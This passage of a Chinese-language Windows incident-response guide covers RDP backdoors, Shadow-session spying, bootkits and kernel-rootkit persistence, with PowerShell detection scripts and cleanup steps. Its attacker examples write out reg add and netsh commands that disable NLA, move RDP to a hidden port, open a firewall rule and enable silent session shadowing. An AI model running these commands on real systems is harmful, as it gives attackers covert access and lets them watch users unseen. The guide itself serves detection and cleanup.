$sec = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "SecurityLayer" -ErrorAction SilentlyContinue).SecurityLayer
Write-Host " SecurityLayer: $sec $(if($sec -eq 0){'[!] 使用RDP安全层(不安全)'}elseif($sec -eq 1){'[Negotiate]'}else{'[TLS]'})"

# 端口
$port = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "PortNumber" -ErrorAction SilentlyContinue).PortNumber
Write-Host " RDP端口: $port $(if($port -ne 3389){'[非默认端口!]'})"

# 允许空密码
$blankPw = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LimitBlankPasswordUse" -ErrorAction SilentlyContinue).LimitBlankPasswordUse
Write-Host " LimitBlankPasswordUse: $blankPw $(if($blankPw -eq 0){'[!] 允许空密码远程登录'}else{'[禁止空密码]'})" -ForegroundColor $(if($blankPw -eq 0){"Red"}else{"Green"})

攻击者常见篡改

1
2
3
4
5
6
7
8
9
# 攻击者启用 RDP 并降低安全要求
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# 修改 RDP 端口(隐蔽)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 54321 /f

# 开放防火墙
netsh advfirewall firewall add rule name="Remote Support" dir=in action=allow protocol=TCP localport=54321

12.5 Shadow Session(RDP 会话监视)

原理:Windows RDP 支持 Shadow Session 功能,管理员可以连接到另一个用户的活动会话

攻击者可以无感知地观看受害者的桌面操作

注册表控制:

1
2
HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Shadow
值: 1=无需用户同意即可完全控制, 2=需用户同意, 3=无需同意只能观看, 4=需同意只能观看

攻击者设置为无感知监视

1
2
3
4
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 3 /f

:: 连接到会话 ID 1(无需用户确认)
mstsc /shadow:1 /noConsentPrompt /control

检测

1
2
3
4
5
6
7
8
# 检查 Shadow 策略
$shadow = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -ErrorAction SilentlyContinue).Shadow
if ($shadow -in @(1, 3)) {
Write-Host "[!] RDP Shadow 配置为无需用户同意: $shadow" -ForegroundColor Red
}

# 检查当前 RDP 会话
qwinsta

12.6 清除方法

卸载 RDP Wrapper

1
2
3
4
# 停止并删除服务
sc stop RDPWInst
sc delete RDPWInst
Remove-Item "C:\Program Files\RDP Wrapper" -Recurse -Force

恢复 RDP 安全配置

1
2
3
4
5
6
7
8
9
10
11
# 恢复 NLA 要求
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f

# 恢复 TLS 安全层
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 2 /f

# 恢复默认端口
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

# 删除可疑防火墙规则
netsh advfirewall firewall delete rule name="Remote Support"

恢复 termsrv.dll

1
2
3
:: 使用 SFC 恢复系统文件
sfc /scannow
:: 或从 WinSxS 目录手动恢复

关联:11-RDP暴力破解与未授权访问

十三、Bootkit / UEFI 持久化 (T1542)

13.1 原理详解

Bootkit 是在操作系统加载之前运行的恶意代码,是最底层的持久化技术

为什么 Bootkit 极其危险

在 OS 内核加载之前执行,可以修改内核、绕过所有安全机制

操作系统级杀毒软件完全无法检测引导阶段的恶意代码

可以禁用驱动签名验证、Secure Boot、Patch Guard(KPP)

即使重装操作系统也无法清除(UEFI Bootkit)

引导过程回顾

1
BIOS/UEFI 固件 → MBR/GPT → 引导加载器 → OS Loader → Windows 内核 → 驱动 → 用户空间

三种 Bootkit 类型

类型 目标 持久性 难度
MBR Bootkit 主引导记录(第一个扇区) 重装OS后失效 中等
VBR Bootkit 卷引导记录(分区引导扇区) 重装OS后失效 中等
UEFI Bootkit EFI系统分区/固件 重装OS后仍存活 极高

13.2 MBR / VBR Bootkit

MBR Bootkit

修改磁盘第一个扇区(512 字节的主引导记录)

在 BIOS 传递控制权给 MBR 时执行恶意代码

恶意代码挂钩中断向量(如 INT 13h 磁盘读取中断),在 OS Loader 读取时注入恶意代码

已知案例

Bootrash(FinFisher/FinSpy 使用)

Rovnix(银行木马)

Carberp(银行木马)

TDL4/TDSS(Rootkit)

VBR Bootkit

修改活动分区的卷引导记录

类似 MBR Bootkit,但作用于分区级别

已知案例:Gapz(高级 Rootkit)

注意:现代系统使用 GPT + UEFI,MBR Bootkit 仅影响使用传统 BIOS + MBR 的旧系统

13.3 UEFI Bootkit

UEFI Bootkit 是目前最高级的持久化技术

攻击方式一:修改 EFI 系统分区(ESP)中的引导文件

ESP 是一个 FAT32 格式的隐藏分区(通常 100-500MB)

包含引导加载程序:\EFI\Microsoft\Boot\bootmgfw.efi

攻击者替换或修改 bootmgfw.efi,在 Windows Boot Manager 执行前注入恶意代码

攻击方式二:直接修改 UEFI 固件(SPI Flash)

将恶意代码写入主板的 SPI Flash 芯片

即使更换硬盘也无法清除

需要利用固件漏洞或物理访问

已知 UEFI Bootkit 案例

BlackLotus(2023):首个在野绕过 Secure Boot 的 UEFI Bootkit

利用 CVE-2022-21894(Baton Drop)绕过 Secure Boot

修改 ESP 上的 bootmgfw.efi

禁用 BitLocker、HVCI、Windows Defender

即使打了补丁,旧的已签名引导加载器仍可被利用(因为 DBX 撤销列表有限)

ESPecter(2021):修改 Windows Boot Manager

FinSpy UEFI(2021):将恶意 Windows Boot Manager 替换到 ESP

MosaicRegressor(2020):首个在野 UEFI 固件级 Rootkit

Lojax(2018):Fancy Bear / APT28 使用的 UEFI 固件 Rootkit

利用合法的 RWEverything 驱动写入 SPI Flash

13.4 检测方法

检查 Secure Boot 状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Write-Host "`n[UEFI / Secure Boot 状态]" -ForegroundColor Cyan

# 检查是否为 UEFI 引导
try {
$secBoot = Confirm-SecureBootUEFI
Write-Host " Secure Boot: $secBoot" -ForegroundColor $(if($secBoot){"Green"}else{"Red"})
} catch {
Write-Host " [!] 非 UEFI 系统或无法读取 Secure Boot 状态" -ForegroundColor Yellow
}

# BIOS 模式
$bios = (Get-CimInstance Win32_ComputerSystem).BootupState
Write-Host " BootupState: $bios"

# 检查 UEFI 固件类型
$firmware = (bcdedit /enum firmware 2>$null)
if ($firmware) { Write-Host " UEFI 固件引导" -ForegroundColor Green }
else { Write-Host " 传统 BIOS 引导" -ForegroundColor Yellow }

检查 EFI 系统分区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 挂载 ESP(需要管理员权限)
$driveLetter = "X"
mountvol "${driveLetter}:" /s

Write-Host "`n[EFI 系统分区文件检查]" -ForegroundColor Cyan

# 检查引导文件
$efiFiles = @(
"${driveLetter}:\EFI\Microsoft\Boot\bootmgfw.efi",
"${driveLetter}:\EFI\Boot\bootx64.efi"
)

foreach ($f in $efiFiles) {
if (Test-Path $f) {
$sig = Get-AuthenticodeSignature $f
$hash = (Get-FileHash $f -Algorithm SHA256).Hash
$color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" }
Write-Host " $f" -ForegroundColor $color
Write-Host " 签名: $($sig.Status) | $($sig.SignerCertificate.Subject)"
Write-Host " SHA256: $hash"
}
}

# 列出所有 EFI 可执行文件
Write-Host "`n 所有 .efi 文件:" -ForegroundColor White
Get-ChildItem "${driveLetter}:\EFI" -Recurse -Filter "*.efi" | ForEach-Object {
$sig = Get-AuthenticodeSignature $_.FullName -ErrorAction SilentlyContinue
Write-Host " $($_.FullName) [$($sig.Status)]" -ForegroundColor $(if($sig.Status -eq "Valid"){"Gray"}else{"Red"})
}

# 卸载 ESP
mountvol "${driveLetter}:" /d

MBR 签名验证(传统 BIOS 系统)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 读取 MBR 前 512 字节计算哈希
$disk = "\\.\PhysicalDrive0"
$stream = [System.IO.File]::OpenRead($disk)
$mbr = New-Object byte[] 512
$stream.Read($mbr, 0, 512) | Out-Null
$stream.Close()

$mbrHash = [System.BitConverter]::ToString(
[System.Security.Cryptography.SHA256]::Create().ComputeHash($mbr)
).Replace("-","")
Write-Host "MBR SHA256: $mbrHash"

# 检查 MBR 签名字节(最后两字节应为 55 AA)
if ($mbr[510] -eq 0x55 -and $mbr[511] -eq 0xAA) {
Write-Host "MBR 签名有效 (0x55AA)" -ForegroundColor Green
} else {
Write-Host "[!] MBR 签名异常!" -ForegroundColor Red
}

Windows Defender System Guard

1
2
3
4
# 检查 System Guard 运行时证明状态
# 仅在支持的硬件上可用(DRTM / Intel TXT / AMD SKINIT)
Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -ClassName Win32_DeviceGuard -ErrorAction SilentlyContinue |
Select-Object SecurityServicesRunning, VirtualizationBasedSecurityStatus

Volatility 内存取证

1
2
3
4
# 使用 Volatility 3 检查引导相关异常
vol -f memory.dmp windows.callbacks
vol -f memory.dmp windows.ssdt
# 检查是否有挂钩的中断描述符表(IDT)

13.5 防御与清除

防御措施

启用 Secure Boot 并确保 DBX(禁止签名数据库)保持更新

启用 UEFI 固件密码 防止未授权修改

启用 BitLocker + TPM —— Bootkit 修改引导代码会导致 TPM PCR 值变化,BitLocker 拒绝解密

部署 Windows Defender System Guard(基于虚拟化的引导完整性验证)

BIOS/UEFI 固件保持最新版本

清除 MBR Bootkit

1
2
3
4
:: 使用 Windows 恢复环境(WinRE)
bootrec /fixmbr
bootrec /fixboot
bootrec /rebuildbcd

清除 UEFI Bootkit(ESP 级别)

1
2
3
:: 从 WinRE 恢复引导文件
bcdboot C:\Windows /s S: /f UEFI
:: S: 为 ESP 挂载盘符

清除 UEFI 固件级 Rootkit

需要重新刷写 UEFI 固件(从主板厂商官网下载最新固件)

在某些情况下可能需要物理更换主板

清除后仍需重装操作系统

十四、内核回调与过滤驱动持久化 (T1547.006 补充)

14.1 与 DLL 劫持的区别

22-DLL劫持与侧加载 讲的是用户态的 DLL 加载劫持

本节讲的是 内核态的回调注册和过滤驱动,这是完全不同的技术层面

内核驱动拥有与 Windows 内核相同的权限级别(Ring 0)

恶意内核驱动可以:

完全隐藏文件、进程、注册表项(Rootkit)

阻止安全软件运行

拦截和修改系统调用

读写任意内存(包括其他进程和内核内存)

攻击者获取内核驱动加载能力的方式

使用有漏洞的合法签名驱动(BYOVD)加载自定义内核代码

窃取或购买合法代码签名证书

利用 Windows 测试模式(test signing)

利用内核漏洞直接注入代码

14.2 内核回调机制详解

Windows 内核提供多种回调注册 API,合法驱动用于安全监控、杀毒等:

**进程通知回调 — PsSetCreateProcessNotifyRoutine(Ex)**:

每当系统中任何进程被创建或终止时,注册的回调函数被调用

恶意利用:阻止特定安全软件进程启动(返回 STATUS_ACCESS_DENIED)

合法用途:杀毒软件监控进程创建

**线程通知回调 — PsSetCreateThreadNotifyRoutine(Ex)**:

线程创建/终止时触发

恶意利用:注入代码到新创建的线程

**模块加载通知 — PsSetLoadImageNotifyRoutine(Ex)**:

DLL/驱动加载时触发

恶意利用:修改加载的模块内容(内核级 DLL 劫持)

注册表回调 — CmRegisterCallbackEx

注册表操作(创建、删除、修改、查询)时触发

恶意利用:

隐藏恶意注册表键值(查询时返回”不存在”)

阻止删除自己的持久化注册表项

篡改安全软件的注册表查询结果

对象操作回调 — ObRegisterCallbacks

进程/线程句柄操作时触发

恶意利用:阻止安全软件打开恶意进程的句柄(防止被杀、被分析)

合法用途:反作弊软件保护游戏进程

Minifilter 文件过滤 — FltRegisterFilter

文件 I/O 操作时触发(创建、读取、写入、删除)

恶意利用:

隐藏恶意文件(目录枚举时过滤掉)

阻止删除恶意文件

加密勒索(拦截写入请求并加密)

合法用途:杀毒软件实时扫描、备份软件

14.3 恶意驱动的典型行为模式

Rootkit 隐藏能力组合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. 注册 PsSetCreateProcessNotifyRoutine
→ 阻止 taskmgr.exe、procexp.exe 等显示恶意进程

2. 注册 CmRegisterCallbackEx
→ 隐藏 Run 键中的恶意自启动注册表值
→ 阻止安全工具删除恶意注册表项

3. 注册 FltRegisterFilter (Minifilter)
→ 隐藏恶意文件
→ 阻止安全软件访问恶意文件

4. 注册 ObRegisterCallbacks
→ 阻止安全软件打开恶意进程的句柄
→ 保护恶意进程不被终止

自我保护机制

通过注册表回调保护自己的驱动服务注册表项不被删除

通过 Minifilter 保护自己的 .sys 驱动文件不被删除或覆盖

通过对象回调保护自己的进程不被终止

结果:常规方法几乎无法清除此类 Rootkit

实际案例

Necurs Rootkit:使用内核回调隐藏自身并保护恶意文件

Uroburos/Turla Rootkit:复杂的内核级间谍软件

FiveSys Rootkit:使用合法签名证书的内核驱动

Demodex Rootkit:APT41 使用的内核 Rootkit

14.4 检测方法

Volatility 内存取证(最可靠)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 列出所有内核回调
vol -f memory.dmp windows.callbacks
# 输出示例:
# Type Callback Module
# PsSetCreateProcessNotifyRoutine 0xfffff880`01234567 evil_driver.sys
# CmRegisterCallback 0xfffff880`01234890 evil_driver.sys

# 检查 SSDT(系统服务描述符表)钩子
vol -f memory.dmp windows.ssdt

# 列出所有内核驱动
vol -f memory.dmp windows.driverscan

# 检查 IRP(I/O 请求包)钩子
vol -f memory.dmp windows.driverirp

实时检查 Minifilter 驱动

1
2
3
4
5
6
# 列出已注册的 Minifilter 驱动(管理员权限)
Write-Host "`n[已注册的 Minifilter 驱动]" -ForegroundColor Cyan
fltmc

# 详细的 Minifilter 实例信息
fltmc instances

检查已加载的内核驱动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Write-Host "`n[内核驱动签名验证]" -ForegroundColor Cyan
Get-CimInstance Win32_SystemDriver | ForEach-Object {
$driverPath = $_.PathName
if ($driverPath -and $driverPath -match "\.sys") {
# 规范化路径
$driverPath = $driverPath -replace '^\\\?\?\\', '' -replace '^\\SystemRoot\\', 'C:\Windows\'
if (Test-Path $driverPath) {
$sig = Get-AuthenticodeSignature $driverPath -ErrorAction SilentlyContinue
if ($sig.Status -ne "Valid") {
Write-Host " [!] $($_.Name): $driverPath [$($sig.Status)]" -ForegroundColor Red
}
}
}
}

检查驱动服务注册表

1
2
3
4
# Type=1 为内核驱动
Get-CimInstance Win32_SystemDriver | Where-Object { $_.State -eq "Running" } |
Select-Object Name, DisplayName, PathName, StartMode, State |
Sort-Object Name | Format-Table -AutoSize

使用 WinObj 或 DeviceTree 工具

Sysinternals WinObj:检查 \Device\\Driver\ 命名空间

检查异常设备对象和驱动对象

关联:34-内存取证-Volatility

14.5 清除方法

常规清除(如果 Rootkit 没有自我保护)

1
2
3
4
5
6
# 停止并删除恶意驱动服务
sc stop evil_driver
sc delete evil_driver

# 删除驱动文件
Remove-Item "C:\Windows\System32\drivers\evil_driver.sys" -Force

如果 Rootkit 有自我保护

  1. 安全模式:启动到安全模式(最小化驱动加载),再删除
1
2
3
4
:: 设置下次启动进入安全模式
bcdedit /set {current} safeboot minimal
:: 重启后删除恶意驱动,然后恢复正常启动
bcdedit /deletevalue {current} safeboot
  1. WinPE/WinRE:从 Windows PE 启动,挂载受感染的磁盘进行清除
  2. 离线注册表编辑:从 WinPE 中加载受感染系统的注册表配置单元
1
2
3
4
5
:: 在 WinPE 中
reg load HKLM\OFFLINE C:\Windows\System32\config\SYSTEM
reg delete "HKLM\OFFLINE\ControlSet001\Services\evil_driver" /f
reg unload HKLM\OFFLINE
del C:\Windows\System32\drivers\evil_driver.sys
  1. 重装系统:对于顽固的内核 Rootkit,重装系统可能是最可靠的选择
    注意:清除内核级 Rootkit 后必须进行全面的系统完整性验证:
1
2
3
4
5
# 系统文件完整性检查
sfc /scannow

# DISM 映像修复
DISM /Online /Cleanup-Image /RestoreHealth

十五、Windows 持久化完整排查补充 Checklist

15.1 与 Page 30 的关系

30-持久化综合Checklist 覆盖了 60+ 常见持久化位置

本 Checklist 是 补充检查项,覆盖本页新增的 14 种冷门/高级技术

建议在完成 Page 30 的排查后,继续执行本页的补充排查

15.2 补充排查要点速查表

# 技术 ATT&CK 排查位置 关键命令
1 Netsh Helper DLL T1546.007 HKLM\SOFTWARE\Microsoft\NetSh reg query HKLM\SOFTWARE\Microsoft\NetSh
2 SSP (Security Support Provider) T1547.005 Lsa\Security Packages 检查 Security Packages + LSASS 模块
3 Authentication Package T1547.002 Lsa\Authentication Packages 默认应仅有 msv1_0
4 Time Provider DLL T1547.003 W32Time\TimeProviders\*\DllName 检查非默认 DLL
5 Office STARTUP/模板 T1137 %APPDATA%\Microsoft\Word\STARTUP\ 检查宏文件
6 Office Add-in T1137 Office\<App>\Addins\ 检查 LoadBehavior=3
7 浏览器扩展 T1176 Extensions\ 目录 + 策略注册表 manifest.json 权限审计
8 屏幕保护程序 T1546.002 HKCU\Control Panel\Desktop\SCRNSAVE.EXE 验证文件签名和路径
9 文件关联劫持 T1546.001 HKCU\SOFTWARE\Classes\*\shell\open\command 检查 HKCU 覆盖
10 Active Setup T1547.014 Active Setup\Installed Components\ HKLM vs HKCU 对比
11 GPO 持久化 T1484 SYSVOL + 本地 GroupPolicy gpresult /r + 脚本审计
12 Logon Script T1037.001 HKCU\Environment\UserInitMprLogonScript 注册表查询
13 RDP 后门 T1563.002 Terminal Server 注册表 RDP 安全配置审计
14 Bootkit/UEFI T1542 ESP + MBR + Secure Boot Confirm-SecureBootUEFI
15 内核回调/Minifilter T1547.006 内核驱动 + Minifilter fltmc + Volatility

15.3 一键排查脚本

完整版一键排查脚本(覆盖本页所有技术)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
#Requires -RunAsAdministrator
# ============================================================
# Windows 冷门持久化排查脚本
# 配合 Page 30 的 Checklist 使用
# ============================================================

$ErrorActionPreference = "SilentlyContinue"
$findings = @()

Write-Host "=" * 60 -ForegroundColor Cyan
Write-Host " Windows 冷门持久化排查" -ForegroundColor Cyan
Write-Host " $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')" -ForegroundColor Cyan
Write-Host "=" * 60 -ForegroundColor Cyan

# ---- 1. Netsh Helper DLL ----
Write-Host "`n[1/14] Netsh Helper DLL (T1546.007)" -ForegroundColor Yellow
$netshHelpers = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NetSh" | Select-Object * -ExcludeProperty PS*
$netshHelpers.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object {
$dll = $_.Value
if ($dll -and (Test-Path $dll)) {
$sig = Get-AuthenticodeSignature $dll
if ($sig.Status -ne "Valid") {
Write-Host " [!] 未签名 Helper: $($_.Name) -> $dll" -ForegroundColor Red
$findings += "Netsh Helper: $dll (未签名)"
} else {
Write-Host " [OK] $($_.Name) -> $dll [$($sig.Status)]" -ForegroundColor Gray
}
}
}

# ---- 2. Security Support Provider ----
Write-Host "`n[2/14] SSP - Security Packages (T1547.005)" -ForegroundColor Yellow
$sspBaseline = @("", "kerberos", "msv1_0", "schannel", "wdigest", "tspkg", "pku2u")
$ssp = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages'
$sspAnomaly = $ssp | Where-Object { $_ -and $_ -notin $sspBaseline }
if ($sspAnomaly) {
$sspAnomaly | ForEach-Object {
Write-Host " [!] 非默认 SSP: $_" -ForegroundColor Red
$findings += "非默认 SSP: $_"
}
} else {
Write-Host " [OK] Security Packages 正常" -ForegroundColor Green
}
# 检查 SSP 日志
@("C:\Windows\System32\kiwissp.log", "C:\Windows\System32\mimilsa.log") | ForEach-Object {
if (Test-Path $_) {
Write-Host " [!] 发现 SSP 凭据日志: $_" -ForegroundColor Red
$findings += "SSP凭据日志: $_"
}
}

# ---- 3. Authentication Packages ----
Write-Host "`n[3/14] Authentication Packages (T1547.002)" -ForegroundColor Yellow
$ap = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages").'Authentication Packages'
$apAnomaly = $ap | Where-Object { $_ -and $_ -ne "msv1_0" }
if ($apAnomaly) {
$apAnomaly | ForEach-Object {
Write-Host " [!] 非默认 AP: $_" -ForegroundColor Red
$findings += "非默认 Authentication Package: $_"
}
} else {
Write-Host " [OK] Authentication Packages 仅含 msv1_0" -ForegroundColor Green
}

# ---- 4. Time Provider DLL ----
Write-Host "`n[4/14] Time Provider DLL (T1547.003)" -ForegroundColor Yellow
$tpRoot = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders"
Get-ChildItem $tpRoot | ForEach-Object {
$dll = (Get-ItemProperty $_.PSPath).DllName
if ($dll -and $dll -notmatch "w32time\.dll|vmictimeprovider\.dll") {
Write-Host " [!] 非默认 Time Provider: $($_.PSChildName) -> $dll" -ForegroundColor Red
$findings += "非默认 Time Provider: $dll"
} else {
Write-Host " [OK] $($_.PSChildName) -> $dll" -ForegroundColor Gray
}
}

# ---- 5. Office STARTUP / 模板 ----
Write-Host "`n[5/14] Office STARTUP & 模板 (T1137)" -ForegroundColor Yellow
$officeDirs = @(
"$env:APPDATA\Microsoft\Word\STARTUP",
"$env:APPDATA\Microsoft\Excel\XLSTART",
"$env:APPDATA\Microsoft\Templates"
)
foreach ($dir in $officeDirs) {
if (Test-Path $dir) {
$files = Get-ChildItem $dir -File -Include "*.dotm","*.xlsb","*.xlam","*.xla","*.dot","*.xlt","*.pptm" -Recurse
foreach ($f in $files) {
Write-Host " [!] $($f.FullName) ($($f.Length) bytes)" -ForegroundColor Yellow
$findings += "Office文件: $($f.FullName)"
}
}
}
$normalDotm = "$env:APPDATA\Microsoft\Templates\Normal.dotm"
if ((Test-Path $normalDotm) -and (Get-Item $normalDotm).Length -gt 50000) {
Write-Host " [!] Normal.dotm 体积异常: $((Get-Item $normalDotm).Length) bytes" -ForegroundColor Red
$findings += "Normal.dotm 体积异常"
}

# ---- 6. Office Add-ins ----
Write-Host "`n[6/14] Office Add-ins (T1137)" -ForegroundColor Yellow
$officeApps = @("Word", "Excel", "PowerPoint", "Outlook")
foreach ($app in $officeApps) {
foreach ($hive in @("HKCU:", "HKLM:")) {
$addinPath = "$hive\SOFTWARE\Microsoft\Office\$app\Addins"
if (Test-Path $addinPath) {
Get-ChildItem $addinPath | ForEach-Object {
$props = Get-ItemProperty $_.PSPath
Write-Host " $hive\$app\$($_.PSChildName) | LoadBehavior=$($props.LoadBehavior)" -ForegroundColor Yellow
}
}
}
}

# ---- 7. 浏览器扩展强制安装策略 ----
Write-Host "`n[7/14] 浏览器扩展强制安装 (T1176)" -ForegroundColor Yellow
$extPolicies = @(
"HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist",
"HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist",
"HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist",
"HKCU:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist"
)
foreach ($ep in $extPolicies) {
if (Test-Path $ep) {
$props = Get-ItemProperty $ep | Select-Object * -ExcludeProperty PS*
$props.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object {
Write-Host " [!] $ep : $($_.Value)" -ForegroundColor Red
$findings += "强制安装扩展: $($_.Value)"
}
}
}
if (-not $findings[-1] -or $findings[-1] -notmatch "强制安装") {
Write-Host " [OK] 未发现强制安装策略" -ForegroundColor Green
}

# ---- 8. 屏幕保护程序 ----
Write-Host "`n[8/14] 屏幕保护程序 (T1546.002)" -ForegroundColor Yellow
$scr = (Get-ItemProperty "HKCU:\Control Panel\Desktop" -Name "SCRNSAVE.EXE" -ErrorAction SilentlyContinue)."SCRNSAVE.EXE"
if ($scr) {
Write-Host " SCRNSAVE.EXE: $scr" -ForegroundColor White
if ($scr -notmatch "^C:\\Windows\\System32\\") {
Write-Host " [!] 屏保路径不在 System32!" -ForegroundColor Red
$findings += "异常屏保路径: $scr"
}
if (Test-Path $scr) {
$sig = Get-AuthenticodeSignature $scr
if ($sig.Status -ne "Valid") {
Write-Host " [!] 屏保文件未签名" -ForegroundColor Red
}
}
} else {
Write-Host " [OK] 未设置自定义屏保" -ForegroundColor Green
}

# ---- 9. 文件关联劫持 ----
Write-Host "`n[9/14] 文件关联劫持 (T1546.001)" -ForegroundColor Yellow
$checkExts = @(".txt", ".doc", ".xls", ".hta", ".js", ".vbs", ".ps1", ".bat", ".cmd")
foreach ($ext in $checkExts) {
$userClass = "HKCU:\SOFTWARE\Classes\$ext"
if (Test-Path $userClass) {
$progId = (Get-ItemProperty $userClass).'(default)'
if ($progId) {
$cmdPath = "HKCU:\SOFTWARE\Classes\$progId\shell\open\command"
if (Test-Path $cmdPath) {
$cmd = (Get-ItemProperty $cmdPath).'(default)'
Write-Host " [!] $ext 用户级关联覆盖: $cmd" -ForegroundColor Red
$findings += "文件关联劫持: $ext -> $cmd"
}
}
}
}

# ---- 10. Active Setup ----
Write-Host "`n[10/14] Active Setup (T1547.014)" -ForegroundColor Yellow
$asPath = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components"
Get-ChildItem $asPath | ForEach-Object {
$sp = (Get-ItemProperty $_.PSPath).StubPath
if ($sp -and $sp -match "(ProgramData|\\\\Temp|AppData|Users\\\\Public)" -and $sp -notmatch "Microsoft|Windows") {
Write-Host " [!] 可疑 Active Setup: $($_.PSChildName)" -ForegroundColor Red
Write-Host " StubPath: $sp" -ForegroundColor Yellow
$findings += "可疑 Active Setup: $sp"
}
}

# ---- 11. 本地 GPO 脚本 ----
Write-Host "`n[11/14] 本地 GPO 脚本 (T1484)" -ForegroundColor Yellow
$gpoScriptDirs = @(
"C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup",
"C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown",
"C:\Windows\System32\GroupPolicy\User\Scripts\Logon",
"C:\Windows\System32\GroupPolicy\User\Scripts\Logoff"
)
foreach ($dir in $gpoScriptDirs) {
if (Test-Path $dir) {
$scripts = Get-ChildItem $dir -File
foreach ($s in $scripts) {
Write-Host " [!] $dir\$($s.Name)" -ForegroundColor Red
$findings += "GPO脚本: $($s.FullName)"
}
}
}

# ---- 12. UserInitMprLogonScript ----
Write-Host "`n[12/14] UserInitMprLogonScript (T1037.001)" -ForegroundColor Yellow
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS -ErrorAction SilentlyContinue | Out-Null
Get-ChildItem HKU: -ErrorAction SilentlyContinue | ForEach-Object {
$envPath = Join-Path $_.PSPath "Environment"
if (Test-Path $envPath) {
$ls = (Get-ItemProperty $envPath -Name "UserInitMprLogonScript" -ErrorAction SilentlyContinue).UserInitMprLogonScript
if ($ls) {
Write-Host " [!] SID $($_.PSChildName): $ls" -ForegroundColor Red
$findings += "LogonScript: $ls"
}
}
}

# ---- 13. RDP 配置 ----
Write-Host "`n[13/14] RDP 安全配置 (T1563.002)" -ForegroundColor Yellow
$tsPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
$rdpEnabled = (Get-ItemProperty $tsPath -Name "fDenyTSConnections" -ErrorAction SilentlyContinue).fDenyTSConnections -eq 0
$nla = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "UserAuthentication" -ErrorAction SilentlyContinue).UserAuthentication
$port = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "PortNumber" -ErrorAction SilentlyContinue).PortNumber

if ($rdpEnabled -and $nla -eq 0) {
Write-Host " [!] RDP 已启用且 NLA 已禁用!" -ForegroundColor Red
$findings += "RDP NLA 已禁用"
}
if ($port -and $port -ne 3389) {
Write-Host " [!] RDP 非默认端口: $port" -ForegroundColor Yellow
$findings += "RDP 端口: $port"
}
# RDP Wrapper
if (Get-Service "RDPWInst" -ErrorAction SilentlyContinue) {
Write-Host " [!] 检测到 RDP Wrapper 服务!" -ForegroundColor Red
$findings += "RDP Wrapper 已安装"
}
# Shadow
$shadow = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -ErrorAction SilentlyContinue).Shadow
if ($shadow -in @(1, 3)) {
